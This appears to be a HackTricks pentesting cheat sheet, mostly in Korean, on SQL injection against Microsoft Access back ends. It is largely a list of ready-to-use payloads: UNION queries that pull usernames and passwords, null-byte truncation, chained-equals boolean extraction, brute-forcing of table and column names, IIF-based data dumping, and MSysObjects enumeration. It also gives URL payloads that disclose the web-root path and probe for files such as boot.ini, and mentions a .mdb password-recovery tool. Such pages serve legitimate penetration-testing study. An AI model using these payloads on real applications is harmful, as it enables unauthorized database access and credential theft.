MS Access SQL Injection

Reading time: 7 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기

온라인 플레이그라운드

DB 제한 사항

문자열 연결

문자열 연결은 & (%26)+ (%2b) 문자를 사용하여 가능합니다.

sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00

댓글

MS Access에는 댓글이 없지만, NULL 문자로 쿼리의 마지막을 제거하는 것이 가능하다고 합니다:

sql
1' union select 1,2 from table%00

쿼리의 구문을 항상 수정할 수 있습니다:

sql
1' UNION SELECT 1,2 FROM table WHERE ''='

Stacked Queries

지원되지 않습니다.

LIMIT

LIMIT 연산자는 구현되지 않았습니다. 그러나 TOP 연산자를 사용하여 SELECT 쿼리 결과를 처음 N 테이블 행으로 제한하는 것이 가능합니다. TOP은 반환할 행의 수를 나타내는 정수를 인수로 받습니다.

sql
1' UNION SELECT TOP 3 attr FROM table%00

Just like TOP you can use LAST which will get the rows from the end.

UNION Queries/Sub queries

In a SQLi you usually will want to somehow execute a new query to extract information from other tables. MS Access always requires that in subqueries or extra queries a FROM is indicated.
So, if you want to execute a UNION SELECT or UNION ALL SELECT or a SELECT between parenthesis in a condition, you always need to indicate a FROM with a valid table name.
Therefore, you need to know a valid table name.

sql
-1' UNION SELECT username,password from users%00

Chaining equals + Substring

warning

이 방법을 사용하면 테이블 이름을 알 필요 없이 현재 테이블의 값을 추출할 수 있습니다.

MS Access는 **'1'=2='3'='asd'=false**와 같은 이상한 구문을 허용합니다. 일반적으로 SQL 인젝션은 WHERE 절 안에 있으므로 이를 악용할 수 있습니다.

MS Access 데이터베이스에 SQLi가 있고 (알거나 추측한) 한 열 이름이 username이라는 것을 알고 있으며, 그 필드를 추출하고 싶다고 가정해 보십시오. 체인 등호 기법을 사용할 때 웹 앱의 다양한 응답을 확인하고 Mid 함수를 사용하여 부분 문자열을 얻는 부울 인젝션으로 콘텐츠를 추출할 수 있습니다.

sql
'=(Mid(username,1,3)='adm')='

테이블의 이름을 알고 있다면, Mid, LASTTOP의 조합을 사용하여 부울 SQLi를 통해 모든 정보를 유출할 수 있습니다:

sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='

온라인 플레이그라운드에서 확인해 보세요.

테이블 이름 강제 추측

체인 이퀄스 기법을 사용하여 테이블 이름을 강제 추측할 수 있습니다:

sql
'=(select+top+1+'lala'+from+<table_name>)='

보다 전통적인 방법을 사용할 수도 있습니다:

sql
-1' AND (SELECT TOP 1 <table_name>)%00

온라인 플레이그라운드에서 확인해 보세요.

열 이름 강제 추측

현재 열 이름을 강제 추측할 수 있습니다. chaining equals trick을 사용하여:

sql
'=column_name='

또는 group by를 사용하여:

sql
-1' GROUP BY column_name%00

다른 테이블의 열 이름을 다음과 같이 무차별 대입 공격할 수 있습니다:

sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='

-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00

데이터 덤프

우리는 이미 체인 등호 기법 을 사용하여 현재 및 다른 테이블에서 데이터를 덤프하는 방법에 대해 논의했습니다. 하지만 다른 방법도 있습니다:

sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')

간단히 말해, 쿼리는 성공 시 "200 OK"를 트리거하거나 그렇지 않을 경우 "500 Internal Error"를 트리거하기 위해 "if-then" 문을 사용합니다. TOP 10 연산자를 이용하면 처음 10개의 결과를 선택할 수 있습니다. 이후 LAST를 사용하여 10번째 튜플만 고려할 수 있습니다. 이러한 값에 대해 MID 연산자를 사용하면 간단한 문자 비교를 수행할 수 있습니다. MID와 TOP의 인덱스를 적절히 변경하면 모든 행의 "username" 필드 내용을 덤프할 수 있습니다.

시간 기반

Check https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN

기타 흥미로운 함수들

  • Mid('admin',1,1) 위치 1에서 길이 1의 부분 문자열을 가져옵니다 (초기 위치는 1).
  • LEN('1234') 문자열의 길이를 가져옵니다.
  • ASC('A') 문자의 ASCII 값을 가져옵니다.
  • CHR(65) ASCII 값에서 문자열을 가져옵니다.
  • IIF(1=1,'a','b') if then.
  • COUNT(*) 항목 수를 계산합니다.

테이블 열거하기

여기에서 테이블 이름을 가져오는 쿼리를 볼 수 있습니다:

sql
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name

그러나 MSysObjects 테이블을 읽을 수 있는 접근 권한이 없는 경우 SQL 인젝션을 찾는 것이 매우 일반적이라는 점에 유의하십시오.

파일 시스템 접근

웹 루트 디렉토리 전체 경로

웹 루트 절대 경로에 대한 지식은 추가 공격을 용이하게 할 수 있습니다. 애플리케이션 오류가 완전히 숨겨지지 않은 경우, 존재하지 않는 데이터베이스에서 데이터를 선택하려고 시도하면서 디렉토리 경로를 발견할 수 있습니다.

http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00

MS Access는 웹 디렉토리 전체 경로를 포함하는 오류 메시지로 응답합니다.

파일 열거

다음 공격 벡터는 원격 파일 시스템에서 파일의 존재를 추론하는 데 사용될 수 있습니다. 지정된 파일이 존재하는 경우, MS Access는 데이터베이스 형식이 유효하지 않다는 오류 메시지를 트리거합니다:

http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00

파일을 열거하는 또 다른 방법은 데이터베이스.테이블 항목을 지정하는 것입니다. 지정된 파일이 존재하는 경우, MS Access는 데이터베이스 형식 오류 메시지를 표시합니다.

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00

.mdb 파일 이름 추측

**데이터베이스 파일 이름(.mdb)**은 다음 쿼리로 추론할 수 있습니다:

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00

여기서 name[i]는 .mdb 파일 이름이고 realTable은 데이터베이스 내의 존재하는 테이블입니다. MS Access는 항상 오류 메시지를 트리거하지만, 유효하지 않은 파일 이름과 유효한 .mdb 파일 이름을 구별하는 것은 가능합니다.

.mdb 비밀번호 크래커

Access PassView는 Microsoft Access 95/97/2000/XP 또는 Jet Database Engine 3.0/4.0의 주요 데이터베이스 비밀번호를 복구하는 데 사용할 수 있는 무료 유틸리티입니다.

참조

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기